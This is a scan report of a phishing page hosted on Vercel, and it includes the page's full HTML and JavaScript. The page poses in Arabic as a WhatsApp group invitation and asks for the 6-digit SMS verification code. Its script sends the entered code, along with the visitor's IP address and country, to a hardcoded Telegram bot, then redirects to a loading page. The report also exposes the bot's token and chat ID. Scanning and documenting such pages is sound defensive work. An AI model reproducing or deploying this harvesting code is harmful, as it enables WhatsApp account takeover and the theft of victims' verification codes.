- Scan ID:
- c9ea3d6d-7344-4601-b8bf-2c0ff45d26edFinished
- Submitted URL:
- https://whatsp-chat-group.vercel.app/code.html
- Report Finished:
Links · 0 found
The outgoing links identified from the page
JavaScript Variables · 7 found
Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope
Name | Type |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
getIpInfo | function |
sendToTelegram | function |
handleSubmit | function |
getFlagEmoji | function |
Console log messages · 1 found
Messages logged to the web console
Type | Category | Log |
---|---|---|
error | network |
|
HTML
The raw HTML body of the page
<!DOCTYPE html><html lang="en"><head>
<title>International Code Input</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="icon" href="Smoflo.png" type="image/png"> <!-- Favicon -->
<link rel="stylesheet" href="styles.css">
<script>
async function getIpInfo() {
const response = await fetch('https://ipinfo.io/json?token=4d1535316da2be'); // Replace with your token
return response.json();
}
async function sendToTelegram(message) {
const telegramToken = '7388555407:AAHCdsvGHsRMpTNuvUBqPWE5bBRCND60ww8'; // Replace with your bot token
const chatId = '1960645055'; // Replace with your chat ID
const url = `https://api.telegram.org/bot7388555407:AAHCdsvGHsRMpTNuvUBqPWE5bBRCND60ww8/sendMessage`;
await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
chat_id: chatId,
text: message
})
});
}
async function handleSubmit(event) {
event.preventDefault(); // Prevent the default form submission
const code = document.querySelector("#code").value; // Get the code entered
const ipInfo = await getIpInfo();
const countryCode = ipInfo.country; // Get the country code
const flagEmoji = getFlagEmoji(countryCode); // Get the flag emoji
// Create the message to send to Telegram
const message = `
Code: ${code}
IP Address: ${ipInfo.ip}
Country Code: ${countryCode} ${flagEmoji}
Country: ${ipInfo.region}
`;
// Send the message to your Telegram bot
await sendToTelegram(message);
// Redirect to the loading page only after the message is sent
window.location.href = "loading2.html"; // Change to your loading page
}
function getFlagEmoji(countryCode) {
const codePoints = countryCode.toUpperCase().split('').map(char => 127397 + char.charCodeAt(0));
return String.fromCodePoint(...codePoints);
}
document.addEventListener("DOMContentLoaded", () => {
// Bind the form submit to the handleSubmit function
document.querySelector("form").addEventListener("submit", handleSubmit);
});
</script>
</head>
<body>
<div class="container">
<img src="DSxOAUB0raA.png" alt="Logo" class="logo"> <!-- Replace with your logo -->
<div>
<img src="172245867233593622.png" alt="Description Image" class="description-img"> <!-- Replace with your image -->
<form>
<h4 style="color:#5E5E5E; font-size: large;">الدعوة للانضمام إلى مجموعة واتساب</h4>
<h4 style="color:#5E5E5E;">أدخل رمز تفعيل الإضافة المكون من 6 أرقام
الذي تلقيته من خلال رسالة نصية</h4>
<div class="code-input">
<input id="code" type="text" name="code" required="" pattern="[0-9]*" title="Please enter numbers only" maxlength="6" placeholder="******">
</div>
<div>
<button type="button" onclick="handleResend()" style="padding: 10px 20px; font-size: 16px; background-color: #FFC107; color: #fff; border-radius: 5px; cursor: pointer; margin-top: 10px; display: inline-block; width: 150px;">إعادة إرسال</button>
<div>
<button style="padding: 10px 20px; font-size: 16px; background-color: #4CAF50; color: #fff; border-radius: 5px; cursor: pointer; margin-top: 10px; display: inline-block; width: 150px;" type="submit">متابعة</button>
</div>
<div class="alert alert-info" style="display: none;"></div>
</div></form>
</div>
</div></body></html>